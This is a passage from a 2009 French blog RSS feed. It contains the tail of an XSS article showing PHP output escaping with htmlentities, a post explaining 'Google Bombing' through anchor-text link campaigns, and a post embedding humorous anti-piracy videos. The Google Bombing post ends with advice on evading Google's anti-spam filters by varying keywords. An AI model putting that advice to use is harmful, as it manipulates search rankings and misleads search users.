<p>En PHP il existent des fonctions spécialement conçues. Je peux par exemple citer <a href="http://fr.php.net/manual/fr/function.htmlentities.php">htmlentities</a> ou encore <a href="http://fr.php.net/manual/fr/function.htmlspecialchars.php">htmlspecialchars</a>.</p>
<pre  class="brush: php;">
function convert($code) {
	return htmlentities($code, ENT_QUOTES, &#039;UTF-8&#039;);
}
</pre>
<p>Si vous êtes <del>parano</del> très très prudent, pensez à désactiver le JavaScript de votre navigateur, bien que cette solution soit un peu radicale&#8230;</p>
<h3>Conclusion</h3>
<p>Nous venons de faire un petit tout d&#8217;horizon sur les failles XSS. Je n&#8217;ai détaillé que plusieurs exemples tout en essayant d&#8217;être le plus clair et le plus complet possible mais vous avez, je l&#8217;espère, compris le principe. Sachez tout de même que beaucoup de développeurs pensent, <strong>à tort</strong>, que les failles XSS ne sont pas très importantes&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucas.courot.com/securite/que-sont-les-failles-xss/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>La technique Google Bombing</title>
		<link>http://www.lucas.courot.com/referencement/la-technique-google-bombing/</link>
		<comments>http://www.lucas.courot.com/referencement/la-technique-google-bombing/#comments</comments>
		<pubDate>Mon, 27 Jul 2009 00:09:18 +0000</pubDate>
		<dc:creator>Lucas</dc:creator>
				<category><![CDATA[Référencement]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[google bombing]]></category>

		<guid isPermaLink="false">http://www.lucas.courot.com/?p=123</guid>
		<description><![CDATA[<a href="/referencement/la-technique-google-bombing/" class="img_extrait"><img src="http://www.lucas.courot.com/wp-content/uploads/2009/07/google_bombing.jpg" alt="" /></a>
Explications sur le Bombardement Google]]></description>
			<content:encoded><![CDATA[<p>La technique <strong>Google Bombing</strong> (en français <strong>Bombardement Google</strong>) exploite le mode de fonctionnement des moteurs de recherche, en particulier une caractéristique de l&#8217;algorithme PageRank, pour forcer un site à se positionner sur un mot-clé voulu.</p>
<h3>Le fonctionnement</h3>
<p><img src="http://www.lucas.courot.com/wp-content/uploads/2009/07/google_pr.png" alt="fonctionnement de google" class="right" /></p>
<p class="justify">Les principaux moteurs de recherches accordent un poids au texte de l&#8217;hyperlien qui pointe vers un site. Si plusieurs sites utilisent le même texte pour pointer vers une adresse URL, Google additionne ce poids. Il devient ainsi possible de faire apparaître la page cible dans les premiers résultats d&#8217;une recherche en tapant le texte qui a servi aux liens. <em>Ce texte, choisi librement, n&#8217;a pas forcément de rapport avec le contenu du site cible.</em></p>
<p class="justify">Vous comprenez sans doutes mieux le rôle qu&#8217;il y a de créer liens de partenariat avec d&#8217;autres sites&#8230;</p>
<h3 class="clear">Réalisation</h3>
<p>Supposons que vous souhaitez référencez votre site sur le terme suivant &laquo;&nbsp;<em>je suis le premier</em>&laquo;&nbsp;. En utilisant la technique de <strong>Google Bombing</strong>, vous allez devoir créer le lien suivant:</p>
<pre class="brush: xml;">&lt;a href=&quot;http://monsite.fr&quot; title=&quot;je suis premier !&quot;&gt;je suis le premier&lt;/a&gt;</pre>
<p>Vous demandez à plusieurs amis webmasters, blogueurs d&#8217;insérer ce lien dans une de leur page. Le but est d&#8217;essayer de diffuser votre lien sur le plus de sites possibles.</p>
<h3>Quelques exemples</h3>
<p>Voici quelques exemples d&#8217;actualité réalisés à l&#8217;aide de cette technique:</p>
<ul>
<li>Si vous essayez de taper dans Google &laquo;&nbsp;<em><a href="http://www.google.com/search?q=Trouver+Chuck+Norris&#038;btnI">Trouver Chuck Norris</a></em>&nbsp;&raquo; et que vous cliquez sur le bouton &laquo;&nbsp;J&#8217;ai de la chance&nbsp;&raquo; vous serez redirigez vers un site assez comique qui usurpe la charte graphique de Google.</li>
<li>Un autre exemple d&#8217;actualité est le site de Nicolas Sarkozy. En effet l&#8217;expression &laquo;&nbsp;<em><a href="http://www.google.com/search?q=trou+du+cul+du+web">trou du cul du web</a></em>&nbsp;&raquo; renvoie vers le site vitrine du président</li>
<li>Le même phénomène a été observé avec George W. Bush qui a été associé à l&#8217;expression &laquo;&nbsp;<em><a href="http://www.google.com/search?q=worst+failure+ever">worst failure ever</a></em>&laquo;&nbsp;. La recherche renvoie vers le site internet de la maison blanche</li>
</ul>
<h3>Google lutte contre le bombing</h3>
<p>Le moteur de recherche devient une machine de plus en plus intelligente qu&#8217;il est téméraire de vouloir tromper. Début 2007, Google met en place un nouvel algorithme pour limiter cette pratique qui prenait de l&#8217;ampleur. Si l&#8217;algorithme fonctionne pour quelques exemples, certains parviennent tout de même à passer à travers les mailles du filet.</p>
<h4>Comment éviter de se faire censurer par Google ?</h4>
<p>Il semblerait que le fait de varier légèrement les mots-clés et les cibler vers <strong>plusieurs</strong> pages internes du site permette d&#8217;éviter l&#8217;ensemble des filtres anti-spam que Google met progressivement en place. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucas.courot.com/referencement/la-technique-google-bombing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Brigade d&#8217;intervention de l&#8217;Hadopi</title>
		<link>http://www.lucas.courot.com/actualite/brigade-dintervention-de-lhadopi/</link>
		<comments>http://www.lucas.courot.com/actualite/brigade-dintervention-de-lhadopi/#comments</comments>
		<pubDate>Sat, 25 Jul 2009 17:48:56 +0000</pubDate>
		<dc:creator>Lucas</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[hadopi]]></category>
		<category><![CDATA[téléchargements illégaux]]></category>

		<guid isPermaLink="false">http://www.lucas.courot.com/?p=110</guid>
		<description><![CDATA[<a href="/actualite/brigade-dintervention-de-lhadopi/" class="img_extrait"><img src="/wp-content/uploads/2009/07/hadopi.png" alt="" /></a>
Un peu d'humour ...]]></description>
			<content:encoded><![CDATA[<p>Voici un reportage amusant sur les méthodes musclées d&#8217;une brigarde anti-piratage</p>
<div class="center">
<p><object type="application/x-shockwave-flash" width="640" height="385" data="http://www.youtube.com/v/Jgjuv7q31-E&amp;hl=fr&amp;fs=1&amp;"><param name="movie" value="http://www.youtube.com/v/Jgjuv7q31-E&amp;hl=fr&amp;fs=1&amp;" /><param name="wmode" value="transparent" /><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" />
<p></object></p>
</div>
<p>En voici une autre prise sur <a href="http://www.ca-va-couper.fr/">ça va couper.fr</a></p>
<div class="center">
<p><object type="application/x-shockwave-flash" width="640" height="505" data="http://www.youtube.com/v/_R7LlxqbdSE&amp;hl=fr&amp;fs=1&amp;"><param name="movie" value="http://www.youtube.com/v/_R7LlxqbdSE&amp;hl=fr&amp;fs=1&amp;" /><param name="wmode" value="transparent" /><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" />
<p></object></p>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.lucas.courot.com/actualite/brigade-dintervention-de-lhadopi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
